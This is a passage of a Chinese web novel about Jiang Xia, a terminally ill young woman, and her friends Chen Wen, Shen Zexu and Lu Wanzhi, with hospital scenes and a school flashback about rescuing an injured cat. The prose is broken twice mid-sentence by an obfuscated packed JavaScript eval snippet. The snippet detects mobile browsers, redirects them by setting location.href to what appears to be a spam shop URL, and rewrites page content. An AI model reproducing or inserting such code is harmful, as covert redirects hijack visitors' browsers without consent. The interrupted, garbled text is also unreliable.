陈温依言坐下,将带来的果篮放在一旁的小柜上,手指控制不住地微微发抖:“苹果、橙子……还有你爱吃的芒果。” 江夏伸出手,拿起一个金黄饱满的芒果,突然整个手一动也不能动。 陈温看见她眉心猛地一蹙,紧接着,细汗从她额角渗了出来——那是一种完全无法掩饰的、生理性的痛楚。 没一会,江夏恢复原样,将芒果凑到鼻尖闻,眉眼舒展:“真香啊。”她将芒果轻轻放回篮子,声音低了下去,带了点怅惘,“可惜,现在只能看看,闻闻味道了。” 这句话,精准地刺破了陈温努力维持的平静。 他猛地抬眼,看向江夏苍白的脸和依然弯着的嘴角,压抑已久的情绪再也控制不住,眼眶瞬间通红,哽咽道:“为什么不早点告诉我们……” 隔壁的聊天声渐渐远去,但他迟迟不得江夏的回答。陈温握住她的手,入手一片冰凉,凉得他心惊。 “江夏姐,你骗我……” 江夏知道他在指什么——指那天她匆忙离开时,对陈温、或许也是对所有人编织的那些关于“不爱了”的谎言。 她沉默着,将自己的手从陈温掌心抽了回来,动作很慢,像在告别。 男生看着自己空落落的手,心在往下沉。 “在治疗了,”江夏没有回答陈温的问题,语气里听不出太多情绪,仿佛在陈述一件与己无关的事,“只是……效果不太理想。” “你打算什么时候告诉晚枝姐……”陈温声音发紧。 江夏费力地摇头,“别告诉她。” “为什么?”陈温不自觉地提高音量,压抑的情绪像泉眼往外涌,“她有权利知道!她是你——” “陈温。”江夏打断他,语气并不重,却带着一种不容商榷的冷静。她闭了闭眼,再开口时,声音更轻,也更疲惫: “她该有自己的路,有她不被打扰的人生……不是一回头,就看见我这个样子。” 她低头看向自己青筋微凸、瘦得只剩骨节的手腕,停留了几秒。 “你能懂吗?” 最后四个字,她几乎是用气音问出来的。 沉默良久,江夏从枕下取出一个牛皮纸信封,递向陈温。 “这个,帮我保管。” 陈温没接:“这是……?” “给晚枝的信。”江夏小声说:“如果我走了,再给她。” “你别这样说……”陈温喉头哽住。 江夏伸手握住他的手腕。她的手很凉,力道却很稳:“陈温,你是我最信任的朋友,只能托付给你了。” 陈温的眼泪滚下来:“我们去北京,去上海找专家……总会有办法的……” 江夏轻轻摇头。 “我的分型,晚期五年存活率不到百分之五。”她顿了顿,掀开一截袖口,皮下是一片触目惊心的瘀紫,“血小板一直在掉,昨天咳血了。” “那也不能放弃啊!” “这不是放弃。”江夏看着他,说:“是选择。” “我奶奶走的时候,身上插了七根管子。最后那段日子,她总是看着我们,眼睛在说‘让我走吧’。”她深吸一口气,发颤道,“我不想那样。更不想让晚枝记得我那个样子。” 陈温再也说不出话。他低头看着信封,只觉得那薄薄的纸,重得让他抬不起手。 窗外的太阳被乌云挡住,江夏轻声开口,像是自言自语: “每天晚上关灯之后,我都在想……如果就这样醒不过来了,倒也不算坏。” “可我更怕的是……花光所有的钱,受完所有的 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“我们……在交往。” 话音落下,病房静了几秒。 随即,江夏脸上漾开一个淡淡的、了然的笑容,眼里闪着祝福的光。 “恭喜,什么时候开始的啊?”江夏猜测道,“该不会……烧烤那会儿就……” 怎么两个人……都猜是那会儿啊?! 陈温耳根微微泛红,下意识想把被沈泽许握着的手抽回来,却被对方更坚定地握紧了。 又答:“不是……还要再后面一点。” “这样啊……”江夏拉长了尾音,没再追问。 她低下头,目光落在自己那双枯瘦得几乎只剩骨节的手上,指节嶙峋,皮肤透着不健康的白。 “那你们……可要好好的。”她顿了顿,每个字都吐得很慢,很沉,“以后不管遇到什么困难,什么问题……都要记得跟对方说。别自己扛着。” 有那么一瞬,另一个身影,毫无预兆地、无比清晰地撞进了陈温的脑海——陆晚枝。 为什么? 为什么她们会用如此相似的眼神,说出如此相似的话? “这世上啊……”江夏抬起眼,目光空茫茫地掠过他们,看向窗外的天空,太阳挣脱了阴云的遮挡,“没什么事,比活着更重要了。” 空气骤然凝固。 陈温感到沈泽许握着他的手紧了紧, 他想说点什么,喉咙却像被什么堵住了,只抿紧了唇。 江夏话语里那份超乎寻常的重量,让他心头漫上一股强烈的不安。 一片令人窒息的氛围里,沈泽许的声音响了起来。 异常清晰、平稳,像一块磐石,稳稳地落进这片不安的泥沼里。 “我会照顾好陈温的。”他说,没有看江夏,而是侧过头,目光死死锁住陈温那双写满惶然的眼睛,一字一句,如同承诺:“给他稳稳的幸福。” 江夏的目光终于从远处收了回来。 她看看沈泽许,又看看陈温,嘴角很慢、很慢地,扯出一个微笑。 “好。” 她伸出手——那只枯瘦冰凉的手,轻轻拉过陈温放在桌上的手,又拉过沈泽许的。 然后,将两人的手,交叠着,拢在自己掌心之下。 她的手没什么力气,只是虚虚地覆着,在上面极轻地拍了两下。 像是一种笨拙的祝福,又像是一个古老的、安顿灵魂的仪式。 “这样……”她低声说,气音几乎散在空气里,“就不会迷路了。” 就在这时,门把手再次转动的声音传来。 江尘探出头,手里提着好几个超市购物袋,满满当当的,胳膊上还挂着个外卖袋。 “姐,吃午饭了……” 话音在看见病房里多出的两个人时,戛然而止。 他的目光先是落在陈温身上,随即滑向他旁边那个存在感极强的陌生男生——沈泽许。 最后,他的视线定格在两人之间,那因为突然抽离而残留着微妙距离的手上。 陈温见人进来,几乎是无意识地把手从沈泽许的掌心抽了回来,动作快得有些慌乱。 沈泽许的手顿了几秒,才沉默地收回身侧,指尖几不可察地蜷了一下。 “来了啊。” 江尘的语气还算自然,带着熟人间的随意,但他看向沈泽许的目光却带着明显的探询,“旁边是……?” 陈温的喉咙发干,那句简单的介绍却像被卡住了。 他能感觉到江尘的目光,也能感觉到身旁沈泽许陡然沉寂下去的气息。 “小尘。” 江夏的声音适时响起,打破了短暂的尴尬。她朝弟弟招招手,脸上恢复了惯常的、略带倦意的温和,“过来。” 江尘把东西放在床头柜上,带着疑惑走了过去。 江夏微微倾身,在他耳边低语了几句。 陈温的心提到了嗓子眼。 他看见江尘的侧脸线条,随着江夏的话语,从最初的疑惑,逐渐变为惊讶。 最后,那目光再次投向他和沈泽许时,里面的情绪就变得复杂了许多…… 58. 她(五) 江尘清清嗓子,目光在陈温和沈泽许之间转了个来回:“没事,我不歧视这个。” 陈温心里那根绷紧的弦一松,可这口气还没彻底呼出来,他就敏锐地察觉到身旁的气压很低。 沈泽许的脸色非但没有缓和,反而更加阴沉,下颌线绷得像刀锋。 完了……陈温心想。 “姐,吃饭吧。” 江尘似乎没注意到,或者说刻意忽略了这不自在的气氛。 他手脚麻利地将几个餐盒打开,荤素搭配,还冒着热气,一样样摆在江夏面前可调节的小餐桌上。 “我给你弄了你爱吃的,能吃一点算一点。” 饭菜的香气弥漫开来,却驱不散空气里的凝重。 “那……你们吃吧。”陈温站起身,下意识地想去拉沈泽许,手伸到一半又顿住,“我们先走了。”他转向江夏,道:“我明天再来看你。” “太勤了……”江夏笑笑,那笑意很淡,带着疲乏,“你们不是还有作业吗?过几天就要过年了,高三的假期,本来就像偷来的一样少。” “……好吧。”陈温无法反驳,转身要走。 “陈温,”江夏叫住他,“答应我几件事。”她抬起眼,目光看向江尘和沈泽许,“你们俩,先出去一下,好吗?” 沈泽许深深看了陈温一眼,那眼神复杂,但他没说什么,率先走向门外。 江尘犹豫了一下,也收拾了空袋子,跟着出去了,带上了门。 中间那张床病人被带出去晒太阳。 1号床的老大爷家属后脚就来了,扯着嗓门讨论护工和药费,声音洪亮,完全没顾及其他人的感受,却也为房间的这一角提供了掩护。 “陆晚枝,”江夏开口,直接切入核心,“最近怎么样了?” 陈温没想到她会问这个,愣了下才回答:“她说……出去旅游了,散散心。不知道具体去哪儿,也没说什么时候回来。” “好。”江夏点点头,仿佛确认了什么。 她的目光落在陈温脸上,清晰地说道: “第一件事就是别主动联系陆晚枝了。让她……好好完成她的旅行吧。” 这句话的语气很怪,不像叮嘱,更像一个郑重的请求,甚至带着点诀别的意味。 陈温的心往下沉了沉。 “第二个嘛,”江夏深吸了一口气,像是要积蓄所有力气,她看向紧闭的房门,穿透它,看到外面那个故作坚强的弟弟,“如果……我是说如果,我突然走了。” “帮我拦住江尘。别让他做傻事。那孩子……看着浑,心里比谁都重感情,轴得很。” “不要这么想……”陈温抓住江夏枯瘦的手腕,“会好起来的……你不要这么悲观好不好……” 江夏没有挣脱,也没有回应他的恳求。 她只是静静地看着他,眼里有一种陈温读不懂的、深不见底的疲惫和了然。 那不是一个二十二岁女生该有的眼神,那里面盛满了太多属于“过来人”的洞悉,平静的可怕。 病房门轻轻合上,隔绝了走廊的光和最后一点外面的声音。 江夏慢慢收回看向门口的视线,目光落在眼前小桌板上的饭菜上。 鸡蛋羹表面平滑如镜,小米粥徐徐散着热气。 江尘用心了。 可她的胃里,正有千万只无形的虫子在啃噬、绞拧,带来一阵阵尖锐而顽固的痛楚。 那是疾病本身,也是药物凶猛的副作用。 她喉头紧缩,泛起熟悉的恶心感。 但江夏面上却没有任何表情,甚至连眉头都没皱一下,慢慢地将手指搭在洁白的被单上。 不能露出来。 一点都不能。 他们……已经够担心了…… 她躺在病床上,像个无底洞,消耗着钱财,更消耗着所爱之人脸上的笑容。 累赘。 这个词无声地在她空洞的心房里回荡。 就在这时,1号床老大爷的家属们,那阵一直未停的议论,陡然拔高,清晰地钻入她的耳朵: “……一天就要这个数!医生说了,晚期了,这就是拿钱续命!” “咱家哪还有啊?上次借的三万还没还上……” “那能怎么办?眼睁睁看着爸……唉!” “这哪是治病,这是烧钱啊!家里都快揭不开锅了!” “揭不开锅”……江夏眼睫几不可察地颤了一下,胃部的绞痛似乎随之加剧了。 “够了——!!!” 一声嘶哑猛地从隔壁床炸开,打断了那喋喋不休的算计。 是那位一直沉默忍受的老大爷。 “都给我闭嘴!!”他胸膛剧烈起伏,枯瘦的手抓着床栏,浑浊的眼珠里爆发出被逼到绝境的悲凉,“滚……都给我滚出去!!” 家属的议论戛然而止,几秒难堪的沉默后,是不情不愿离去的脚步声。 病房门被重重带上。 世界重新安静下来,江夏坐起身,目光无意识地投向窗外。 那群人说不定早就盘算着大爷那点可怜的遗产,又或者,只是单纯地不想再被一个无底洞般的病人拖累。 人性在病床和巨额账单面前,有时候就是这么直白而丑陋。 她也管不了什么。自己这副残躯,连明天是否还能睁开眼都未可知,哪还有心力去评判别人的家事。 医院楼下的小花园边上,有一个穿旧工装的男生——是江尘。 他正蹲在花坛边,手里拿着两个巨大的白面馒头,就着一瓶看不出颜色的咸菜,大口大口地咬着,吃得专注而用力,仿佛那是世间最要紧的事。 阳光落在他身上,灰尘在光柱里飞舞。 江夏又缓缓低下头,看向自己面前这份精致却令她反胃的餐食。 它们散发出清香,对她而言却像一场无声的凌迟。 她伸出手,用勺子舀起一点点小米粥,动作缓慢得像电影慢镜头。 送到唇边,停顿。 胃部的绞痛和喉头的抵触汹涌而来。 她最终还是把那一小勺粥,放回了饭盒里。 盖子被合上。江夏靠回枕头,扶着肚子,闭上了眼睛。 楼下的男生吃完了馒头,抹抹嘴,站起身,大步流星地走进屋内。 饭盒渐渐失去温度。 江夏一动不动,只有胸口极其微弱的起伏,证明她还在与疼痛和负罪感的对抗中,艰难地存在着。 不知过了多久,也许只是几分钟,病房门被推开。 江尘走了进来,脸上的神色已经调整过,带上了一点刻意放松的痕迹。 “他们回去了?” “嗯。”江夏依然闭着眼,从喉咙里应了一声,那声音轻飘飘的,没什么力气。 江尘走到小桌板旁,目光落在那个几乎没怎么动过的餐盒上。鸡蛋羹还是完整的,小米粥只少了一个小角,小角在勺子上。 饭菜的热气早已散尽,凝结了一层薄薄的、令人毫无食欲的油光。 “还是……不想吃吗?”他问,视线从冰冷的饭菜移到姐姐苍白的脸上,努力克制着哽咽。 “嗯。”江夏仍旧没有睁眼,仿佛连掀开眼皮都需要耗费极大的力气,“你吃了吧。” “那怎么能行?”江尘几乎是立刻反驳,语气里带上一丝急躁,随即又强行压了下去,显得有点干巴巴的,“这是我……特意做给你的。你多少吃一点,就一点,好不好?” 回应他的,是更长久的沉默,和江夏仿佛沉入更深倦怠中的侧脸。 窗外的光线在她脸上投下淡淡的阴影,眼下的青黑愈发明显。 “下次别做了。”许久,她才又开口,“已经冷了。” 江尘站在那里,看着那盒已经冷透的饭菜,又看看姐姐拒绝沟通的、仿佛一碰即碎的侧影。 他能听见自己有些粗重的呼吸,和心底那股无处发泄的、无力的酸涩感。 他知道她难受,知道她没胃口。 更怕的是她连“努力吃一点”的念头都没有了。那也意味着,她可能连“活下去”的意愿,都在被一点点磨光…… 就在这片死寂几乎要将他吞没时,江夏的声音忽然从身前传来,很轻,却像一把冰冷的锥子,精准刺破了他所有的伪装。 “江尘。” 他背脊一僵。 “你怕姐姐死吗?” 空气彻底凝固了。连窗外遥远的车流声都仿佛被按下了静音。 静到江夏在问出这句话后,几乎产生了一种错觉——江尘是不是已经离开了? 时间被拉得很长,每一秒都踩着心跳。 良久,才传来一声极力压抑、却终究破碎的抽气声。 然后,是江尘的声音。 那声音完全变了调,嘶哑、哽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171991|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽,带着浓重得化不开的鼻音,像是从被痛苦拧紧的胸腔里,一点一点挤压出来的: “怕……” “怕‘死’了……” 江夏终于缓缓转动视线,看向一旁。 江尘没有离开。 他就站在那里,背对着她,肩膀无法控制地耸动着。 然后,他像是耗尽了所有支撑的力气,一点一点地转过身来。 泪水已经彻底打湿了他的眼眶,争先恐后地涌出,顺着他的脸颊滚落。 他的鼻头通红,嘴唇死死地抿着,还在试图抑制那崩溃的呜咽,但颤抖的下颌和汹涌的眼泪,早已出卖了一切。 但江尘只是沉默地伸出手,收拾起那个沉甸甸的餐盒。 塑料盖子合上时,发出“咔哒”一声。江尘转身走向门口,想把这份冰冷和挫败带出去。 走到门边时,他停下脚步,没有回头,声音有些发哽,却强撑着平常的语调: “……我去给你打点热水。你……躺一会儿。” 说完,他拉开门,走了出去,轻轻将门带上,也把那片令人心慌的沉寂,再次留给了病床上那个单薄的身影。 - 陈温轻轻带上病房的门,一转身,就看见沈泽许。 他没走远,就靠在对面的墙壁上,微微垂着头,额发落下来,遮住了一点眉眼。 听到开门声,他抬起眼看了过来。 那双眼睛,平日里多是沉静的锐利,此刻却像浸了水的墨玉,湿漉漉的,写着不易察觉的受伤,还有浓浓的“等你解释”。 就这样看着他。 遭了,陈温心里“咯噔”一下,刚才就不该下意识抽手的……这下好了,怎么哄啊啊啊! 空气有点凝滞。 陈温清了清嗓子,试图用最平常的语气打破沉默:“沈泽许,”他走过去两步,软声说:“走吧,去吃午饭。” 沈泽许没动。 只是维持着那个姿势,目光锁着他,嘴角抿着,那表情……活像一只被主人无意中踢了一脚,正独自委屈的大型犬,浑身散发着“你是不是要抛弃我”的幽气。 陈温顿时一个头两个大。他叹了口气,认命地凑到沈泽许跟前,两人之间的距离瞬间缩短,几乎能感受到彼此的体温。 他带着点讨饶的意味道:“我不是故意的……刚才那不是情况特殊嘛。你大人不计小人过,原谅我好不好?” 沈泽许眼皮都没眨一下,依旧沉默,只是那眼神里的控诉意味更浓了,仿佛在说:解释不够,诚意不足。 陈温头皮发麻。看来,要使出大招了! 男生深吸一口气,耳根开始不受控制地发热。 拼了! 他再往前凑近一点,几乎贴着沈泽许的耳朵,用气音,又软又黏糊地叫了一声: “泽许哥哥……” 那声音拐着弯,带着他自己听了都脚趾抠地的甜腻和撒娇意味,腻歪到陈温恨不得立刻闭嘴,这辈子都不想再听见第二遍。 但,效果立竿见影。 沈泽许那绷紧的嘴角,几不可察地向上弯了一瞬,虽然立刻又被他压了下去。 陈温却捕捉了——心头一松,差点跟着傻笑出来。 有戏! 他趁热打铁,又用那腻死人的调子,轻拉沈泽许的袖口:“原谅人家好不好?嗯?” 沈泽许终于舍得动了。 他微微抬眼,垂眸看着近在咫尺、脸颊微红的陈温,眼底那层冰封的委屈渐渐化开,取而代之的是一种得逞的意味。 他喉结滚动了一下,声音有点低哑,开口道: “叫我什么?” 陈温的脸“轰”地一下全红了。 这人是故意的! 但箭在弦上,他只能硬着头皮,迎着沈泽许灼人的目光,用比刚才稍微正常一点、却依然软糯的声音,乖乖重复: “哥哥。” 两个字,像羽毛搔过心尖。 沈泽许眼底最后那点阴霾彻底散去。他伸出手,不是握,而是环过陈温的腰,将自己往他怀里带,埋在男生脖颈。 “嗯。”他低低应了一声,“走吧,带你去吃饭。” 沈泽许半靠在陈温身侧,他脸上热度未退,心里悄悄松了口气——这一关,总算是糊弄过去了。 虽然代价是,他可能需要一段时间来消化自己刚才那番“壮举”。 59. 她(六) 惠中只放两周假,陆晚枝却在旅行开始一周后,也就是假期的第三天,回来了。 陈温自那天从医院离开,就没再踏足过那里。他估摸着过年得回乡下陪爷爷奶奶,在这之前,得把堆着的作业收拾干净。 写作业这事儿,有时靠沈泽许打来的视频电话隔着屏幕互相监督,有时是沈泽许直接过来。 可两人真凑到一块儿,效率反而高不起来——陈温的注意力总忍不住往旁边飘。 那天,他正闷在卧室里刷一套试卷,敲门声响了。 指节叩在门板上的声音不重,却很清楚。 陈温笔尖一顿,几乎立刻猜到了门外是谁。他没有惊讶,反而像一块悬了许久的石头落了地,在心口撞出一片沉闷的回响。 该来的,总会来的。 他最后看了一眼屏幕里低头写作业的沈泽许,像是要从那道虚影里汲取某种勇气后,挂断了电话。 门把手被拧开时,发出“咔哒”一声。 “我度假回来了。”陆晚枝站在门外,像是被南方的阳光重新浸润过,肤色深了一个调子,眼里却有了神采。 她笑着,那种从内里透出来的松弛和愉快,让他喉头的话像块沉甸甸的石头,堵得更结实了。 陈温这几天不是没想过。反复地想。瞒是瞒不住的,纸终究包不住火,与其让陆晚枝从别处听说,不如由他来开这个口。 他想得很清楚——只要她们彼此还记挂着对方,只要江夏知道晚枝盼着她好好活下去,哪怕只生出一点点念想,那这场“恶人”,他来做也值。 道理都想通了,预案也打好了腹稿。 可此刻对着陆晚枝全然信任的笑容,那些演练过无数次的开场白,忽然一个字都挤不出来了。 门开的动静引来了大少。这小家伙习惯了家里来人,总是第一个窜到门口,毛茸茸的尾巴高高翘起,在陆晚枝脚边亲昵地蹭着。 陆晚枝弯下腰,熟练地将它捞进怀里,手心陷进温暖的皮毛里,揉着它的脑袋和下巴。 大少发出咕噜咕噜的满足声响,眯起了眼。 “大少有没有想‘妈妈’呀?”她声音软软的,带着点笑意,目光却若有似无地扫过陈温僵硬的脸,“在陈温哥哥家乖不乖?” 猫自然不会回答,只是用脑袋顶了顶她的手心,又“喵”了一声,像是在说:有吃有睡,日子别提多美了。 这慵懒惬意的一幕,与陈温心中那场即将掀起的风暴,隔着一道深不见底的裂缝。 陆晚枝抱着猫,没再追问,只是安静地等,等他自己把那道裂缝撕开。 “姐……”陈温终于出了声,嗓子有点发干,“我有件事……写跟你说。” 时间好像被拉得很长,又好像缩得很短。 从几个字几个字地往外挤,到后来声音开始发抖,像冬天里没关紧的窗户,漏着风。 他不敢看她,视线落在桌角,又移到地上,最后干脆闭上了眼。 陈温把事情一点一点拼凑起来,像捡起一地碎玻璃,每一片都扎手。 他感觉自己像个笨拙的摆渡人,手里没有桨,却要把人送到对岸去,对岸还是黑的。 每说一句,都像在凌迟自己。 陆晚枝才刚回来,脸上还带着太阳晒过的暖意,他却要把这些冰冷附带着倒刺的东西,硬塞进她怀里。 陈温成了自己预想里的那个“恶人”,亲手把刀子递出去,还得告诉她刀刃有多利。 最后一个字音落下,屋子里静得能听见灰尘落地的声音。 陆晚枝没动,也没说话,像是忽然被抽走了所有力气,只剩下一个空壳坐在那里。 她还在呼吸,可每一次吸气,胸口都像压着块巨石,钝钝地疼。 “姐……”陈温的声音轻得像怕惊扰了什么,“你……还好吗?” 他问得徒劳。他自己都不好,谁能好?话说出口,泼出去的水,再也收不回。 “没事……” 陆晚枝轻轻吐出两个字,可话音未落,眼泪就毫无征兆地滚了下来。 不是啜泣,是决堤。 压抑的呜咽从喉咙深处涌出,混着滚烫的泪水,瞬间淹没了她。 陆晚枝弯下腰,手臂紧紧环抱住自己,浑身发抖。 大少被这突如其来的悲伤惊动,不安地“喵喵”叫,从她脚边站起来,用脑袋一下一下蹭着女生的小腿。 她早该知道的……知道江夏为什么固执地躲着她,不让她看见自己如今的样子。 江夏一直是那样一个人。 善良得有些过分,心里揣着一团火,总想把光亮分给别人。 她又爱美,不是浮于表面的那种,而是对生命本身有一种洁净的向往。 这些,从她们相识的第一天起,陆晚枝就知道。 那……江夏究竟是什么时候落下的病根呢? 记忆的线头被拉扯,回到了一个寻常的傍晚。 “叮——同学们,下课时间到了——”周围的人嬉笑打闹着涌出,淹没了走廊。 陆晚枝总是慢半拍,她不紧不慢地收好书本,拉上书包拉链,随着稀疏的人流走出教学楼。 夕阳把文化长廊的柱子拉出粗壮的斜影,空气里浮动着青春特有的躁动。 就在这片嘈杂的背景音里,一个极其突兀的声音传进了陆晚枝的耳膜。 是猫叫。 校园里有猫不稀奇,常有三两只毛色混杂的流浪猫在灌木丛里晒太阳。 但这一声不同。那不是慵懒的喵呜,也不是讨食的嗲叫。 那是……一种短促、凄厉、充满了痛苦的——惨叫。 陆晚枝脚步顿住了。 直接走开,装作没听见,融入人群,是最容易的。 可她没有。书包带子被她攥得紧了些——不只是因为她那个学生会主席和纪检部长的头衔。那顶多是个标签,贴在身上,提醒她该做什么。 真正让她转回身的,是心里头那点过不去的东西。 看见了,听见了,就不能当它没发生。 那猫叫声还在继续,一声比一声急,一声比一声惨。 她循着声音,逆着人流,朝教学楼后面那片僻静的小树林走去。 越往里走,学生的喧哗越远,只剩下风穿过树叶的沙沙声,和那愈发清晰的哀鸣。 然后,她看见了一个高而瘦的女生抓着猫,另一只手不知道在做什么。 还没走近,陆晚枝已经看不下去。 “住手!”声音不算大,但足以让那人听清。 可那女生并没有要停下来的意思,动作甚至更快了些。 陆晚枝急了,快步上前,一把抓住了那人作乱的手腕。触手一片冰凉。 女生顿了顿,侧过半张脸来。 五官生得清冷,嘴唇没什么血色,厚重的刘海下,是一双与清冷轮廓不太相称的圆眼睛。 “你……”陆晚枝怔住了。她没见过这么好看的女生,一时语塞。怎么……这样一个人,会在做这种事? “江夏,你又多管闲事是吧!”一声粗嘎的喝骂从身后炸开,“让你弄走这只猫,没让你救它!你是它爸还是它妈啊?” 陆晚枝猛地回头,看见四个高矮不一的男生正围过来,脸上挂着混杂着轻视与讥诮的神情。 “就是,这么爱它怎么不见你带回家养啊?”另一个男生嗤笑,“装给谁看呢?” 他们的话像石头一样砸过来。 而被叫做“江夏”的女生,自始至终没有抬头,也没有反驳。 她只是沉默地挣开了陆晚枝抓着她的手——陆晚枝这才发现,自己刚才握住的,是一只沾满了泥污和血渍的手。 江夏重新俯下身,陆晚枝的视线也随之落下。 她终于看清了——女生另一只手里紧紧攥着的,不是什么施暴的工具,而是一条白手帕——不,现在是红手帕。 江夏用它在小心翼翼地擦拭着什么,动作急促却轻柔。 地上,那只猫的后腿上,一道狰狞的伤口正汩汩往外渗着暗色的血,明显是被弹弓打伤的。 陆晚枝的心像被什么东西狠狠攥了一下,瞬间沉到了底。 她全弄错了。 或许是感知到那双手在清洁而非伤害,猫的惨叫声逐渐微弱下去,最后变成几声虚弱的呜咽,蜷在地上不动了。 陆晚枝的目光从江夏和猫的身上抬起,冷冷地扫向那四个男生。 他们脸上刚才的嚣张气焰已经凝固,正交换着不安的眼神。 就在陆晚枝试图看清他们面容的瞬间,其中一人猛地对上她的视线,脸色唰地白了。 “是纪检部部长!快跑!” 他一声惊叫,几个人如同惊弓之鸟,转身就朝树林深处四散逃去,脚步声杂乱地消失在暮色里。 空地上,瞬间只剩下陆晚枝、沉默的江夏,以及那只奄奄一息的猫。 “对不起,是我误会你了。”陆晚枝蹲下身,声音低了下去。知错就改,这一点她从不含糊。“刚才那几个人,我大概看清了。现在德育处应该下班了,我明天一早去告诉主任。” 江夏偏过头,看了她一眼,眼神里没什么情绪,只轻轻“嗯”了一声。 过了一会儿,她问:“是告诉‘AK主任’吗?” 陆晚枝点头:“是。” AK主任在惠中是出了名的较真儿,学生私底下都这么叫他。因为他烟瘾大,嗓子像被砂纸磨过,教训起人来又急又密,活像抱着一挺AK-47在扫射。 但人其实不坏,学生们也敢跟他开玩笑。 “他们……为什么要那么对这只猫?”陆晚枝的目光落回地上那滩暗色的痕迹,还有蜷缩着不动弹的小家伙。 江夏的声音依旧没什么起伏:“谁知道呢。可能是……觉得好玩吧。” 陆晚枝听出了她话里的疏离。她没有再追问,默默打开书包,翻出一小卷干净的绷带——是之前运动会剩下的。 她没有药,也清楚这大概没什么用,家里更不可能允许她带一只受伤的野猫回去。 她的养父对猫毛过敏,闻到一点都会打一整天的喷嚏。 两个女孩沉默地配合着,用绷带在猫后腿上缠了几圈,勉强止住了血。 动作间几乎没有任何交流。 做完这一切,江夏站了起来,没再看陆晚枝,也没再看猫,转身就走了。 背影很快消失在渐浓的暮色里。 陆晚枝还蹲在原地。那只猫似乎缓过了一口气,挣扎着站了起来,低头舔粗糙的绷带,然后拖着那条包扎过的后腿,一瘸一拐地挪进了旁边的灌木丛深处,不见了。 刚才那一切快得像场梦,带着一种不真实的抽离感。 陆晚枝收拾好书包,准备离开时,目光无意间扫过旁边的草丛。 一点亮色卡在草叶间——是一只整体为粉色的发夹,上面缀着一只米菲兔。 应该是江夏刚才站起来或蹲下时不小心掉落的。 陆晚枝将它捡起,塑料的兔子触感微凉。 她没多想,将它握在手心,然后转身,独自走出了这片已然安静下来的小树林。 直到次日,她又在校园里遇见那个女孩。 陆晚枝作为纪检部部长,正和另一名值日生站在校门口,检查同学们的校卡和仪容仪表。她低头翻看记录表时,耳边传来同学生硬的呵止: “站住。” 抬起头,她正好看见江夏被拦在了闸机前。晨光勾勒出她清瘦的身形和没什么表情的侧脸。 “怎么了?”陆晚枝合上表格,走了过去。 “她没戴校牌。”值日生指着规定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171992|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气公事公办,“得记名。” 江夏垂着眼,没解释,也没看任何人,仿佛这一切与她无关。 陆晚枝的目光在她空荡荡的衣领处停顿了一秒,然后转向值日生,说:“没事。她第一次,不用记。” 值日生有些诧异地看了看陆晚枝,又看了看始终沉默的江夏,最终还是点头,让开了路。 江夏这才抬起眼,极快地看了陆晚枝一眼。那眼神里没有感激,更像一种安静的审视,或者别的什么难以捉摸的东西。 然后,她便收回目光,径直走进了校园。 眼看江夏就要汇入上学的人流,陆晚枝忽然想起口袋里那个小小的物件。她几步小跑追了上去。 “你好,等一下。” 江夏停下脚步,转过身,眼神好像在说“有事?” 陆晚枝从口袋里摸出那只米菲兔发夹,递了过去。 “这个……昨天你落在那里了。” 江夏的目光落在发夹上,明显愣了一下,随后她伸手接过,“……谢谢。” 太瘦了,这女生太瘦了。陆晚枝忍不住想,是因为没吃早餐吗? 她的眼神或许停留得过久,也过于专注。江夏眉头微微蹙起:“一直盯着我,还有事?” “你……”陆晚枝被问得一窘,话已经出了口,“没吃早餐吗?” 江夏的脸色几乎是瞬间沉了下去,那是一种戒备的神情。陆晚枝心下一慌,知道自己唐突了:“不好意思,我……” “没事。”江夏打断她,声音比刚才冷硬了些,“没吃。所以呢?” “……啊。”陆晚枝感觉自己的心跳有点乱,一种莫名的冲动驱使着她。 她把手伸进口袋,摸到了那个用保鲜膜包好的饭团——养父做的,料很足,但她每次只能吃下一个。养父总觉得她在长身体,固执地塞给她两个,另一个通常由同桌帮忙解决。 她掏出还带着体温的饭团,递了过去:“给你。” 江夏没有接。她看着陆晚枝,眼神复杂极了,混杂着诧异、审视,还有一丝几乎无法捕捉的……抗拒? “部长!这边!”校门口的值日生在喊她。 陆晚枝趁着江夏愣神的瞬间,将饭团往前一递,塞进她怀里。 “不小心买多了一份,给你吃吧。”她语速加快,像是要掩盖自己的不自然,“我先走了。” 说完,她不敢再看江夏的表情,转身快步朝校门口走去,耳根微微有些发热。 下一个礼拜,轮到陆晚枝值日时又“逮住”了没戴校牌的江夏。 这次她没有公事公办地放行,而是主动凑了过去,试探地小声问:“那个饭团好吃吗?” 江夏瞥了她一眼,目光落在她含笑的嘴角,停顿两秒,很轻地“嗯”了一声。 陆晚枝嘴角的弧度忍不住加深,又从包里摸出个热乎乎的大包子,不由分说塞过去:“今天换这个。” 一来二去,两人竟真的熟络起来。 从最初在校园里碰见,只是点头之交;到后来,陆晚枝会“偶然”出现在食堂,端着餐盘问她“这里有人吗”;再到顺理成章地一起放学,走过那段不长不短的文化长廊。 是陆晚枝先伸出的手。她一点点,耐心地,将那个习惯周身罩无形壁垒的江夏,拉出舒适区。 带她去参加原本绝不会踏入的社团课,陪她去图书馆借她提到的书,在她被不怀好意的人言语挤兑时,毫不犹豫地挡在她前面。 陆晚枝用行动告诉她,有些“界限”是可以跨过去的,有些“勇敢”是可以慢慢学来的。 